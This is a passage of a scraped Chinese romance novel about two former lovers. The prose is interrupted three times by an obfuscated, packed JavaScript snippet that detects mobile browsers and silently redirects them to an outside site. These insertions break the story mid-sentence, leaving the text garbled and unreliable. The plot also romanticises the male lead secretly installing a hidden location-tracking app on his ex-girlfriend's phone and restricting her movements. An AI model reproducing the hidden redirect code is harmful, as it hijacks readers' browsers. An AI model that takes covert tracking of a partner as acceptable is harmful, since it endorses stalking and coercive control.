她在小巷尽头的歪脖子水龙头处洗了洗手,然后掏出手机跟应彤说:“钱我赔给你。” 这场闹剧没有看完,陆痕钦记得那把游戏也没打完,他按灭了屏幕看着两个女生忙忙碌碌地反复接来自来水,一遍遍冲刷掉柏油马路上甜滋滋的糖水。 夏听婵的手还被人攥着。 她迟疑着:“你们……” “这小子手脚不干净,”宰浩荣往天台上一指,“打个球的功夫,东西就到他裤兜里去了。” 她仰起脸望过去,看到顶楼天台外墙中段有个凸出来的排水管,上面被人为挂着一只烟灰色的腕表,表盘上的横向浮雕纹路细腻,好像海水的波纹,中间还镶着华丽的钻石。 夏听婵犹豫:“我……” “鹦鹉螺系列的万年历铂金版,陆哥说既然喜欢就送他了,只要他能取下来。” 挂在那里,得攀着外墙空翻上去才行,也不知道是谁这么大本事,能挂上去。 夏听婵为难:“其实……” 陆痕钦噙着笑,漂亮的眼睛专注地盯着她,他的眼型长得精致,内眼角微微下勾,眼尾却上扬成一个恰到好处的弧度,抬起脸看她的时候虹膜颜色被阳光冲淡,实在蛊惑。 他就顶着这张英俊的脸蛋,笑意微微地暗指她违规翻墙也属于学生规范手册中的“危险动作”,希望她能听懂人话双双放过彼此。 可夏听婵在他循循诱导到一半时眼神忽然一凝,单手猛地扣住了天台外沿的墙壁,右腿一蹬墙面就飒爽地蹿了一大截上去。 根本没有听他那些长篇大论。 陆痕钦怔了一下,慢慢闭上嘴。 “卧槽她上去了?那表她能拿到?” 陆痕钦盯着视野上方剩下的半截晃晃悠悠的小腿……她当真不认识自己,不认识自己那个成天上电视的爹陆文成,也不清楚作为国选党背后最大财力支撑的财阀,昭泰医疗商业集团。 天台上冒出一声猫叫。 夏听婵动作飞快,重新荡回来,怀里锁喉抱着一只灰扑扑的流浪猫,无论猫猫如何鸡飞狗跳地挣扎都脱不开她的桎梏,她这才好脾气地重新看向陆痕钦,解释完刚才想说却没说完的下半句话: “我就是来救只卡在天台外沿的猫,你刚又是手表又是人的在说什么?” 陆痕钦还没来得及回答,远处有人厉声呐喊了一句,白昊英“哎呦哎呦”两声,又是神出鬼没的烦人风纪组。 下一秒,夏听婵悬空松开手,干净利落地跳了进来。 陆痕钦下意识张开臂膀往前迈了一步,她就这样因为惯性用力地撞进了他怀里,为了稳住身形,混乱间她还狠狠地拽了一把他的头发,手里那只刚从天台救下来的流浪猫亦同仇敌忾,毫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陆痕钦翻看着手里的检讨书,当初为了拿到这张纸还特意往办公室前前后后装模作样地去了好几回……当然,他只是觉得她写的字特别隽秀,没有别的什么想法,到后来能通过直接向她转账来每天拿到她的习题册“获取知识”,他才开始有了闲暇时模仿她的字迹的习惯。 可能是想给她买的东西太多了,明里暗里将转账金额和频率一提再提,到后来饶是从不多想从不内耗的夏听婵也严肃地反问了他一句: “你转那么多干什么,洗钱吗?” 陆痕钦抽选了几样她的笔迹往外走,重新将地下室的门锁好,回到客厅茶几前。 她给他留下的肢体的痕迹已经不用大脑再发挥指令,面对面的两杯水,一包抽纸,几颗薄荷糖和一小瓶眼药水都被他不假思索地放在了该放的地方,那时候也不知道自己在着迷什么,连安安静静地陪着她在图书馆自习也觉得有趣。 陆痕钦摆开一桌后才反应过来自己在干些什么蠢事。 他皱着眉把这些东西重新囫囵塞回茶几下的抽屉里,然后双指拿起对面那杯温水,往厨房洗碗池里“哐当”一倒,连水带杯子丢在水槽里。 冷着脸再回到客厅,夏听婵不知道什么时候起来了,陆痕钦的心猛地跳空了一秒,那一瞬间居然有一种怕被她发现自己在干些什么的紧张。 她身上宽宽松松地套着他的一件T恤,正弯着腰朝茶几上摸索些什么。 可很快他便冷冰冰地质问道:“你在找什么?” 夏听婵吓了一大跳,她一扭头,看到他冷硬着表情站在她身后,便老老实实地往桌子上指。 桌上还没来得及收拾。 陆痕钦薄薄的眼皮轻微地痉挛了几下,他上前两步,一把按住了桌子上摊开的各种纸。 他不确定她有没有看到他临摹的字迹,还有密密麻麻的她的名字。 夏听婵仍是那副状况外的表情:“房间里没有抽纸,我记得这里有。” 陆痕钦手掌不抬,将那些纸全部拢到一边,另一只手从茶几下摸出抽纸递给她。 “谢谢。”夏听婵直起身,T恤往大腿上移了一截。 陆痕钦的目光没有往下挪半寸,仿佛根本没看见,但他问的是同一件事:“你从哪拿的我的衣服?” 她闻言低头看了眼自己,用手指勾住衣领扯了扯:“你的衣柜,我不能全天都穿着浴袍吧?” 陆痕钦冷淡道:“浴袍也是我的,下次再让我看见你随便进我房间,随意拿我的东西,不管是衣服还是什么,我都让你脱下来。” 夏听婵揣摩他的神色,不解:“下次,那这次呢?现在就可以脱了还给你。” 陆痕钦板着脸,眼尾处那条极浅的褶皱冷冷地压着,薄唇抿成一道不容商榷的直线。 她看懂了,连连比“ok”的手势:“好吧下不为例,但我什么都没带,等下需要去买一点生活用品。” 陆痕钦微垂着眼睑,依旧没什么好脸色: “麻烦。” 5. 第 5 章 夏天的白天亮得早,夏听婵一年四季的作息都无比规律,早睡早起,只定一个闹钟,响声起必定起床。 是陆痕钦在地下室待了太久,又在客厅里翻看了太久她的笔记,一眼不着,居然已经早晨六点了。 “秋姨几点会过来?”夏听婵熟门熟路地往厨房走,“我还没尝过她的手艺呢。” 陆痕钦:“她最近家里有事,不会来了。” 夏听婵“咦”了一声,停下脚步。 陆痕钦面无表情地经过她,打开冰箱门,取出两片白吐司和一颗鸡蛋,又拆了一包新鲜芦笋浸水清洗。 夏听婵目不转睛地盯着他,沉默的空气里满是震撼。 十指不沾阳春水的陆痕钦也有这一面? 大概是她的视线太过于灼热,陆痕钦将芦笋煎到一半就做不下去了。 他硬着声线解释:“秋姨不来这不是正好?你是不是忘记了自己现在在‘通缉令’上?越少有人知道你的存在越好。” 夏听婵恍然大悟,人有时候太喜欢将话挑明也是一种憨:“啊,所以不是秋姨家里有事,是你找借口给她放了假是吗?” 话音未落,陆痕钦磕蛋的动作失误了一下,掉了两片蛋壳在锅里,他僵了两秒,冷着脸用锅铲剔了几次才挑出来。 夏听婵站到他身边,在他丢掉蛋壳的两秒钟里眼疾手快地又磕了个鸡蛋进去。 油锅里“次啦”一声,煎蛋的香气氤氲。 她飞给他一个责备的眼神……刚才没来得及说,他怎么只做一人份的早餐,像话吗? 陆痕钦一转过身就看到锅里并排的两个煎蛋,圆滚滚的好像贴在一起的两个太阳。 他顿了顿,凶着脸把第二个煎蛋翻了个面。 这种夹缝里求生的无声游戏默契地开局了。 陆痕钦在砂锅里煮绿豆粥,转身去加陈皮的当口,夏听婵左右开弓,又往里撒了一大把白糯米,另一只手丢了几片洗净的薄荷叶。 她擅长下厨,自信这一把米丢进去,才刚好配上他过量的水。 陆痕钦一言不发,倒牛奶只取了他的杯子,将牛奶放回冰箱没过几秒,夏听婵又打开冰箱门给自己也倒了满满一杯,这才满意地拿起两杯牛奶回到餐桌正对着放好。 再回厨房,两片吐司烤好了,陆痕钦夹出抹上牛油果泥,夏听婵候在一旁放入新吐司片,还无比自然地上手撕了一点他烤完的吐司尝了尝,眉毛和嘴巴同时往下一扁:“牛油果一点都不好吃。” 陆痕钦抬眸望过来,夏听婵将手中最后一点也塞进嘴里,指了指吐司机,含糊道:“我吃这个。” 一顿早饭做得“见缝插针”,陆痕钦坐到餐桌前用餐,他从小家教严格,食不语早成了刻在骨子里的习惯,这些年一个人独居,更加寡言少语。 可夏听婵不是。 很多人会觉得她是个话少且反应平平无趣的木头人,但,那些都是跟她不熟的人。 夏听婵在正事上执拗且认真,但私下里相处时话一点都不少,很多时候还有一种缺乏人情世故后理直气壮的黑色幽默。 今天更甚。 才过了一晚,就因为他没有赶走她,所以她就默认了他会“欢迎”她。 匪夷所思的自洽能力。 夏听婵坐在他对面,试图跟前男友拉近心的距离,开始与陆痕钦没话找话: 她搅了搅了粥,舀了一勺送进口中:“我以为你会做白粥。” “绿豆泡够时间了吗?煮得……”她的眼睛微微睁大,不吝啬给予人夸赞,“好吃,绿豆哪里买的?还是说因为你那口砂锅的缘故?” 陆痕钦垂着眼,全当没听见。 夏听婵才不尴尬,打破砂锅问到底:“哪里买的?我想做绿豆糕,混合牛乳和抹茶,你不想吃吗?” 陆痕钦抿了一口软粥,绿豆已经煮出沙,她扔进去的糯米让粥的口感更佳软糯,清凉的薄荷叶更是点睛之笔,咽下去时喉口清润。 夏天确实是吃绿豆的季节,她做完绿豆糕之后总会着急冰镇在冰箱里,那一点表层还没放凉的蒸汽水便会凝结成冰渣,咬在齿间咯吱轻响,像是嚼碎了夏天本身。 他曾经尝过很多次。 陆痕钦垂眼盯着自己的勺子,好半天才说:“超市。” “哪个超市?” “EREWHON” “怎么去?” “开车去。” “你开?” “司机。” “真厉害。”她扯得脸不红心不跳,“哪个司机?男的女的?开车稳吗?驾龄几年了?平时喜欢急刹车吗?你一个月发他多少工资——” “夏听婵。”陆痕钦将勺子搁下,在瓷碗边缘磕出清脆的响声,他盯着她,“你到底想说什么?” 夏听婵正色:“我需要去超市买点生活用品。” “刚才不是说过了?” “可是你没有明确回复我。” 陆痕钦重新执起勺子,他这一顿是这段时间里胃口最好的一次:“吃完去。” 夏听婵终于安分。 两人吃完饭,陆痕钦将碗筷收进洗碗机,洗了双手,再出来却没了聒噪了一早上的知了声。 他叫了两声,没人应,擦拭手上水珠的动作慢慢缓下来。 “夏听婵?” 偌大的房子里空空荡荡,空间感突然扩散到无穷大。 陆痕钦在原地站了几分钟,可能是早上喝了太多绿豆粥,胃里有些胀气,此刻隐秘地开始一阵阵地抽疼。 他抬腿经过餐桌,把半湿的纸巾往餐桌上一丢,收回手时顺来药瓶,头一仰,拧开就往口中倒了几粒。 来不及倒水,拧回药瓶时瓶盖也因为心不在焉而斜卡在螺纹上。 陆痕钦喉结滚动,生生干咽下药丸,擦得喉管到胸腔那一片都好像被一层薄蜡糊住了,每一次呼吸都伴随着不适的异物感。 他没管,只顾着一间间打开房门找过去,不厌其烦地一声声地叫唤“夏听婵?” 整栋房子都找完,还是没有半点她存在过的痕迹。 陆痕钦的脸色终于一寸寸白下去,突然开始后悔没有早一点带她去购买生活用品,以至于现在根本没法通过查看她是否将随身物品带走来判断她是不辞而别了,还是暂时躲在哪个角落里。 他找了一轮仍是不死心,第二次细细地地毯式查找过去……不能报警,也不适合让第三人知道,可每打开一扇门都让人更绝望一分。 这么多年了,她还是那么我行我素,说断联就断联,说离开就离开。 就像是把最好吃的东西留到最后一口一样,陆痕钦找完整栋房子,把她的房间留到了最后一间。 打开门之前,他将手掌按在门把手上,闭上眼静默地停滞了几秒,似乎在祈祷。 他的脸上已然全无血色,眼睫轻颤,眉心轻蹙,好像又回到了大病初愈睁开眼睛的那一天,只固执地盯着铜棕色门把手上繁复的花纹,一句句回答道: “司机是男的,四十六岁了,开车很稳,25年的驾龄……” 房间里没有半点声音,他回答得很慢,心力交瘁的模样,说到一半拧着眉抓了把心口的衣服布料,像是喘不过气般用力呼吸了一记才艰难往下继续: “不会急刹车,他开车习惯很好,你坐他的车的话,可以在上面安稳地睡一觉,我是发周薪的,一周是……” 房间里忽然传来一阵冲水声。 陆痕钦眼皮急遽抽跳数下,那口气还屏在胸口就等不及般用力拧下门把手,推门大步而入。 夏听婵刚换回她自己那身衣服从洗手间出来,正低着头试图扣好袖口的扣子。 手被人强硬地一把用力抓住,那颗袖扣又滑出。 她愕然抬头,陆痕钦整个人凌厉非常,眉沉沉地压着眼睫, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我没见你拿出过手机,这部手机我没用过,SIM卡是我的名字,你可以放心用。” 他真是见微知著。 夏听婵转头看向充上电的新手机,前置摄像头处已经没有红光闪烁了,就好像刚才那一眼只是她的错觉。 她拿起来试了试,确实从哪方面来看都是新手机,除了插了卡并注册了个ID,此外没有装过任何软件。 不过他给她插的手机卡应该隶属于主卡,这种附属卡一般都是家长用来管控子女的。 夏听婵摆弄间陆痕钦一直很仔细地揣摩着她的每一个微表情,他将嗓音放轻,似乎在诱哄:“你没法实名取手机卡号。” 夏听婵翻了一遍没看出什么问题,而且陆痕钦作为她的前男友,能照顾到方方面面已经是大慈善家了,当即应道:“嗯,这个就挺好,谢谢啦。” 陆痕钦好像轻微地笑了一下,继续从抽屉里取出一张黑卡给她:“你的账户不要动,所有开支从我上走。” 夏听婵迟疑地看着这张副卡:“我不需要你的钱。” 那你要谁的钱? 他那点细微的笑意刹那间收得干干净净,冷漠地补上一句:“没什么其他意思,只是你的账户很可能处于被监控冻结的状态下,你要是被抓了我也是窝藏的共犯,麻烦。” 夏听婵接回来,有些勉强又觉得他的理由无懈可击:“这样啊……” 见她收下,陆痕钦微蹙的眉梢才松开。 他接下去的话更加流畅,像是早已经打好了腹稿:“以后你但凡需要外出我都陪着你,可以替你打打掩护,你以后……” 他重新拉住她的手腕,手指往里收紧,像是一只扣进皮肉里的手铐,在她皮肤上印出浅浅的无血色凹痕。 说这句话的时候,他的神色平静到有一种暴风雪夜的死寂,凝视着她:“所以,你以后不要随意离开这栋房子,外面很危险。” “要走,一定要先跟我说过,明白吗?” 6.第 6 章 为了贯彻落实“让更少的人见过夏听婵”这一宗旨,陆痕钦这次出门是自己开车的。 他甫一打开副驾驶的门,夏听婵已经无比自觉地钻进了后座。 车门被她勤快地“砰”一声关上,她往里挪了挪,像个等候司机开车的老板一样坐好,然后隔着玻璃两人对望了几秒。 陆痕钦静静地瞧着她。 夏听婵:……? 她按下窗户,口罩和帽子将她遮得严严实实,说话时有些瓮声瓮气。 “不是要掩人耳目吗?坐前面不安全吧。” 陆痕钦的手还搭在副驾驶车门沿上,他罚站了一会儿,一声不吭地关上门,坐进驾驶位启动了车。 EREWHON超市离得远,若非必要,陆痕钦向来懒得专程跑一趟,但…… 车辆平稳地行驶着,他状似无意般调整了一下后视镜,露出小半张夏听婵的脸。 她一直埋着头在聚精会神地摆弄新手机。 他断断续续扫了好几眼。 戴在她脑袋上的鸭舌帽也是他的,即使帽子的调节带收到最里面那一截,这顶帽子对她而言也还是大了,除非用力仰起脸,否则根本看不到她被帽檐遮住的眼睛。 红灯,陆痕钦的视线旋了旋,最后黏在后视镜里的她……她可真会选,那顶帽子是他高中时在棒球队训练时戴过的,那时候她信誓旦旦地保证会来看比赛,他便给她留了最佳的观看坐席,那一场也是他发挥最超常的一次比赛。 结果一整场打完后,看不懂棒球比赛的她拿着新鲜从网上搜索的“如何专业地夸奖棒球打得好”的祝福词,分毫未改地背给他听。 太流畅了,好比一篇精彩的演讲,她背着背着,就逐渐被自己强劲的记忆水平和学习能力所倾倒,脸上露出了真情实感的自我欣赏的笑容。 背到一半陆痕钦的表情就越来越不对,他抬了下手示意夏大演讲家先暂停一下。 她意犹未尽地住了口,听到他问:“你很喜欢那记高飞牺牲打?” 夏听婵殷勤地点点头,还会提前预判出题老师了,竖起大拇指:“你那一球足够深,这一分拿得真漂亮!” “还记得几号吗?” 她信心十足地比了个“6”。 陆痕钦静静地看了她两秒,往自己胸前的衣服指。 硕大的【4号】。 夏听婵:……光顾着背忘看题了。 “但是!”她紧急公关,“落后时你连追两个强劲地滚球,一下子减轻了压力!” 陆痕钦心平气和地扭过头:“宰浩荣,小婵夸你稳住了军心。” 夏听婵:?又错啦? 宰浩荣打完一整场后一张脸热得通红,闻言像一只雄赳赳的大鹅一样伸长脖子探出个脑袋,喜上眉梢:“哎……小场面,也没那么帅吧哈哈,谢谢小婵——吓吓吓吓吓夏听婵同学。” 陆痕钦收回目光,重新看向身前的女孩子:“还夸吗?” 夏听婵眼神有点死了:“不夸了,不敢夸了。” 整队队友在一旁笑得前俯后仰,对龇大白牙。 陆痕钦不是个容易出汗的人,一群汗津津的男生堆里就他看起来清清爽爽的,但他还是先用水冲了下两条手臂,擦干后贴着她的小臂牵住她: “我女朋友不熟悉棒球规则还是看完了整场,你们笑笑笑,有女朋友吗就在这笑?” “?陆痕钦棒球比赛可以打架你晓得不?” 陆痕钦摘了自己的棒球帽戴到夏听婵脑袋上方便替她遮阳,语气有一种十七八岁时意气风发的少年感,散漫道:“打,我不还手,反正小婵包扎得又好又不疼。” “狗东西!弄他!送他进他自家医院去!” 夏听婵翻了下陆痕钦的手腕,骨骼明晰,冷白的皮肤上蔓着浅青色的青筋,她悠悠道:“别打手吧,最后一球直接轰上二层看台,一棒四分进账扭转乾坤,还是挺帅的。” 陆痕钦一下子止住了脚步,撇过脸望向她。 他父母都忙,从来没有来看过他任何比赛,需要的时候,资金支持便可。 夏听婵是主动提起来陪他比赛的。 陆痕钦喉结滚了滚,帽子给了她,阳光晒得他有点睁不开眼……他忽然在18岁那年体会到了被最在意的人看见自己的欢欣。 卡顿了一下,他才顺利问出:“你看到我了?” 夏听婵用手扇了扇风,他的帽子戴在她头上有些偏大,看人时需要用力抬起下巴。 她用食指顶起帽檐,朝他小臭屁地笑:“棒球太难了,看得我晕头转向,但还好我是夏听婵。” “夏听婵什么不行啊?” …… “你看我干嘛?”夏听婵又拿食指顶了一下帽檐,露出她那双清凌凌的眼睛。 陆痕钦从后视镜收回目光。 她左右调整了下帽子:“戴一下还给你。” 陆痕钦目视前方,淡淡道:“我不要了,我不用别人用过的。” * 白昊英夺命连环call打过来时,两人已经在超市里买了不少东西。 “你人呢??” 陆痕钦将手机夹在肩膀和耳朵中间,双手撑着塑料袋方便夏听婵选卷心菜。 “什么事?” “还能有什么事?你是不是忘了今天要回诊?” 夏听婵用手心拖了下袋子,目测分量够了便拍了下陆痕钦的手表示ok了,他便收好放进购物车,这才空出一只手举着手机回复: “我有点事,今天算了吧。” “不行。” 夏听婵往前走,陆痕钦推着车跟在后面,她不回头等他,只会偶尔将左手往后够,勾住购物车的车头往她那里拉一把,确保他和它一起紧紧地贴着她。 陆痕钦听着手机里白医生大呼小叫的声音,目光却落在她的长发上,有一缕头发穿过鸭舌帽调节带的孔洞戳出来,耀武扬威地横亘在外面,走路的时候偶尔会上下跳一下。 陆痕钦:“我在外面,回家大概要三个小时后,你如果愿意等的话——看路!” 夏听婵正放慢了脚步边走边挑选鲜牛奶,另一个顾客推着车直冲冲地大步走在中间,眼看着要撞上毫不知情的她,陆痕钦紧急倾身斜越过购物车抓住了她的胳膊,那个眼睛仿佛长到后脑勺的顾客旁若无人地走过,像是根本没看见这里有人。 陆痕钦皱着眉看了那人一眼,收紧手臂将夏听婵拉到自己身边:“小心点,别离我太远。” 夏听婵被他拉过来的时候手里还初心不忘地提着两大瓶鲜奶,她“嗯嗯”两声,将东西放进购物车,而后一起与他并排站着往前推车。 陆痕钦左腿往前轻轻一别,用鞋子卡住购物车的轮子,站在冰柜前不动。 夏听婵没推动,茫然地转过头看他。 他往左点了点下巴:“你不是爱喝这个牌子的吗?” 她把车拉回一点,扭过头顺着他示意的方向看去,还没来得及开口,对面又凉凉地补上一句:“啊,也是,几年过去了,人的喜好是会变的,我也真是不了解你了。” 白昊英:“喂?跟谁说话呢你?” 夏听婵瞅了瞅冰柜,又木着脸往车里她放进去的两瓶鲜奶一指:“可是我选的是家庭装啊,经得起我们两个人喝,我要住很长一段时间的。” 要住很长一段时间的。 陆痕钦的心情奇怪地上扬了一秒,好像晃晃悠悠往上飘动的氢气球,他将这句话反复咀嚼消化了几遍,最后错开眼“哦”了一声。 白昊英的声音阴魂不散地从电话里传出:“陆痕钦你听见我说话没有,你身边有人?” 声音有点响,聒噪,陆痕钦将手机换了个边,调到离夏听婵更远的位置。 他刻意与她保持了点距离让她先走,瞥了她几眼确认她没有留意这里的对话,才模棱两可地“嗯”了一声。 “嚯,你跟谁在一起呢说话夹成那样?” “三个小时后我到家,就这样。”陆痕钦掐断了电话。 再抬头,夏听婵又跑没影了,只剩下购物车孤零零地停在不远处。 陆痕钦心头重重一跳,当即四周巡视了一圈,靠近这里的几个称重处都没有她的身影,其他各条走道之间人来人往,更没有她的痕迹。 他缓了几秒克制住焦躁的情绪,将死死抠进掌心的手指一根根松开,指腹在那些月牙痕里摩挲了几下后呼吸慢慢放平,好像将那些翻滚的燥意一点点压回了深处。 再低下头,他的眼神已经沉静下来,泰然自若地拿出自己的手机: 屏幕上每一个软件都规整地收纳在固定的组件文件夹里,唯独有一个名字不明的冷门软件单独放进了一个透明桌面组件框里。 陆痕钦点开,全黑的屏幕里慢慢加载出地理位置和方向,中心有个鲜艳的红点不停地闪烁着。 看到跳动的红点后,他的表情已经全然放轻松,眉眼处甚至有了浅淡又满足的尽在掌控的笑意。 他舒了一口气,将手机搁在购物车的儿童座椅板上,一边推着车,一边调整方位,目标明确地选择了最短的路线走去。 定位软件里显示夏听婵跑得飞快,她去了超市中心叠成几何塔状的最大的促销台,零食礼盒摆得又高又密,像一座小山。 他记起来了,刚进超市路过那个促销台时她就瞟了好几眼,那是她喜欢吃的蟹香蛋黄味锅巴。 陆痕钦再次低头确认了一下定位软件,这是他特意托人要来的,除了安装后隐身性强,精准度更优秀,误差不会超过30cm。 定位显示夏听婵在这座“小山”的背面。 陆痕钦气定神闲地推着车,直直地绕到背面—— 空空如也。 尖锐的焦灼感瞬间冲上大脑,他那口闲散的气息毫无防备地折断在胸口处,甚至蔓延出缺氧的痛感。 怎么会不在?? 他不可置信地看了眼自己的手机,红点重叠,再抬头,发现夏听婵的手机居然夹在货品顶端第三层的缝隙里。 这个高度,是被人垫着脚故意塞进去的。 他抬起手臂想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15960261|177581||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 取下手机,可手机卡住的角度太刁钻,牵一发而动全身,迫不得已,他只能把卡住手机的那盒零食礼包也一起取下来。 货品“塔”镂空了一块,他低头检查手机,没发现有一条细直的手臂慢悠悠地举起来,“啪”的一声在对面打了个清脆的响指。 陆痕钦动作一顿,刹那间脑子里电光一闪,几乎是同时有了答案。 他缓慢地抬起头,以他的身高,可以透过这块挖空一块的零食礼包塔,轻轻松松地看到夏听婵交叉着腿、倚靠在对面五米开外的货架旁,怀里还抱着一堆饼干。 两人的目光穿过镂空的货品塔对视,仿佛有一个世纪那么长。 她那个位置,是在他推车过来时一扭头就能看到的地方。 但他根本没关注,因为他早有正确答案,所以只顾直直地走向红点标记的位置。 在她无声的注视下,像是一只踩进陷阱忙着吃谷物的蠢鸟一样。 一模一样的事发生过。 在他听说她暑假回老家要“翻山越岭”,担心她一个人不安全,全程驱车在后面跟着,谁知道被她当作跟踪犯反向套了圈。 他跟白昊英两个人从下午一直迷路到傍晚,一个小时时白昊英硬夸:“夏听婵老家风景还不错嘛。” 第二个小时过去,他强装镇定道:“应该快到了吧?” 第三个小时,白昊英忐忑不安:“夏听婵不能是人贩子吧?” 第四个小时,白昊英死抓着陆痕钦,哭丧着脸试图唤醒他的良心:“哥们,我们是好哥们吧……?” 陆痕钦开回岔路口,只得给夏听婵打了个电话,铃声居然在两人头顶响了起来。 他举着手机往上看,夏听婵就站在公路上方倾斜土石的边坡上。 垂直距离大概是十五六米。 她已经换了一身衣服了,束腿黑裤,灰白色上衣右胸处有个“阳光福利院”的图标。她笑眯眯地朝着两个男生挥了挥手,友善询问:“去哪儿?” 陆痕钦报菜名似的:“阳光福利院。” 夏听婵竖起两根手指:“两种方式,第一种,碰到岔路口,右右左左右,再开三个多小时就到了。” 白昊英一副快要晕山路的痛苦表情:“第二种呢?” 夏听婵蹲下来,点点脚下的黄泥土:“车停在两公里那片空地,先走回来,然后从这里——爬上来。” 两位养尊处优的少爷静止了几秒。 “这么陡!”白昊英崩溃,“你能翻墙我不会啊!我的裤子不经磨没事,但我不经折磨,磨烂我的腿我会哭啊!!” “那再见。”她站起身,“这是最短距离,我回去吃晚饭了。” 陆痕钦到福利院的时候连挑食都治好了,福利院的何寻雁奶奶递上温着的饭菜,两人吃完后被夏听婵以“太晚了”的借口留了下来,当了四天青壮力白工。 白昊英有气无力地哭诉被夏扒皮做局参加变形记了。 回去那天,何奶奶很惊讶两人起了大早“赶路”,纳闷道:“不用爬啊,你们进山的时候走大路是右右左左右,确实久,但这里开了近路,你们在那个岔路口往前,右左右右右,半个多小时就到了啊。” 夏听婵这个混蛋! …… 混蛋夏听婵笑眯眯地冲他笑。 跟那时候忽悠洁癖的他爬土坡时一模一样的笑。 陆痕钦站直了身体,垂在裤缝旁的手轻轻一划,将自己手机上打开的定位软件悄无声息地整个退出。 夏听婵脸上还带着人畜无害的微笑,她面容清丽绝俗,是那种毫无攻击的灵秀长相,因为读书时成绩好,工作后能力强,社交时说话直,总会有人被这种欺骗性的外表和近乎天性的澄澈性格蛊惑着认为她不擅长人际往来,也不会藏心思耍手段。 是啊,在她将他父亲秘密会客的暗房里把监听器插满之前,在她事成之后摇身一变,从一个福利院长大的孤女变成社民党新秀钟理群收养的义女,她那该死的前男友变成她哥哥之前,他陆痕钦也是这么想的。 她怎么会是一朵小白花呢? 她多聪明,在他将手机送给她之后不到两小时内,她就试出了里面的定位软件。 夏听婵从对面绕过来,笑得娇憨又钝感十足:“我想吃这个零食大礼包诶!刚才挑了半天,想要你手上这个,但我够不着,用手机拨了半天,结果手机还卡在上面了。” 陆痕钦目不转睛地盯着她。 撒谎,骗子,虚伪。 但她寄宿在他家中,饶是发现了他在掌控她的行踪,她仍然需要找这种双方都心知肚明的拙劣借口来轻轻揭过。 真好啊……真好啊夏听婵,你如果能就这样一直留在我身边,不管是主观意愿还是情势所迫,心怀鬼胎也没关系,阳奉阴违也没关系,反正…… 反正我也不信任你。 不会被你蛊惑第二次。 陆痕钦淡着表情,好像什么都没想,只将零食礼包和她的手机一同递给她,言简意赅道: “嗯,喜欢,那就买。” 7.第 7 章 大包小包,满载而归,一路上,夏听婵都在忙着跟手机对面不知道是谁聊得火热。 陆痕钦照例从后视镜看了她无数次,但回程路上,她一次都没发现。 ……如果她的手机上还装了监控屏幕共享的软件就好了,只装了一个定位系统根本不够用…… 刚才电梯下到地下停车场时,因为电梯里空间狭窄,他瞥了几眼,断断续续地看到她似乎在跟人讨论他: 【以前还是挺意气风发挺阳光的……现在阴冷话少,配上他那张秾丽的脸鬼气森森的……好不习惯……】 不喜欢了么? 陆痕钦面无表情地拧了下后视镜,简单地照了照自己,一张冷白到有些病态的脸,眼皮上薄而窄的一道褶顺着微微上扬的眼尾凌厉划过,不苟言笑地盯着她看时确实像一条毒蛇。 他将镜子拧回去,看到她对着手机笑了一下,看得出来聊得很开心。 她的前男友钟奕,哦,现在是她的哥哥了,一直都是那副光风霁月的伪人样,她应该是喜欢那种风格的吧。 陆痕钦脚尖一点踩了下油门,车辆轰鸣。 他那点动静终于把夏听婵从手机里拉回来,她抬头:“怎么了?” 陆痕钦目视前方,他将手搭在方向盘的顶端,腕骨突起的弧度优雅流畅,几年不见,他沉稳了许多,五官也更加深邃英俊,像是一杯陈年威士忌,琥珀色的酒液在冰球上缓慢爬升,冷冽又性感。 他开了点窗透气,空调冷风和车外的空气一起卷在车厢内。 沉默了几秒,他用指尖随意地敲了敲,漫不经心地问了句:“你拉黑了不少人?” 夏听婵一下子就听懂了他的意思,她的脸上微妙地浮现出某种复杂混合的神情。 陆痕钦冷淡道:“也对,你现在都是个不存在的人了,新身份证上叫什么名字来着……?丹娜丝?总之拉黑后就可以与前尘往事一了百了。” 夏听婵冲他挥了挥手机:“我刚注册了一个新号,等下加你,你国内那个手机号一直没销号是吧。” “没等你,忘了而已。” 夏听婵:?谁问了? 无言沉默的那几秒仿佛是一场鏖战。 陆痕钦将话拧回来:“不用加我了,一个屋檐下没必要。” “加了,”夏听婵手速飞快,讨奖一般将往前坐了坐,手臂一直伸到前座想给他看申请页面,“记得通过我。” 陆痕钦下意识用脚尖点了点刹车,往她手机上扫了一眼,只够看到她在他前面加了几个陌生的头像。 后半截被她的虎口挡住,看不到加了谁。 他不是她第一个加的人。 但她还能流畅地背出他原先的手机号。 可她原本就记性不错,能记住一串数字对她而言只是小菜一碟。 混乱的思绪萦绕在脑海里,夏听婵只给他看了一眼就重新缩回了手。 陆痕钦语气不变:“那个号我不怎么用了。” “行,你报一下新手机号,我再加一个。” 陆痕钦眼皮不抬:“没必要。” “怎么没必要啊?”夏听婵将他说过的话翻出来还给他,笃定的语气好像在拍板说这道题就选“C”一样,“你是我在这里唯一可以信任的人,你不是还说我要出门的话都要跟你说过吗?我得给你置顶啊。” 陆痕钦静默无言地保持着车速,肩膀伏沉着微微往前倾,看不清他脸上的表情,似乎对她的话无动于衷。 轿车平稳地急驰出两公里,他才慢慢回复:“179……” * 回到家,夏听婵忙着将买的战利品腾出来,她手脚麻利,干活也快,风风火火地买来的生活用品放到该在的位置。 陆痕钦先是切换了手机号,将两条好友申请都通过了,吃了颗药之后就坐在沙发上看她上下地跑。 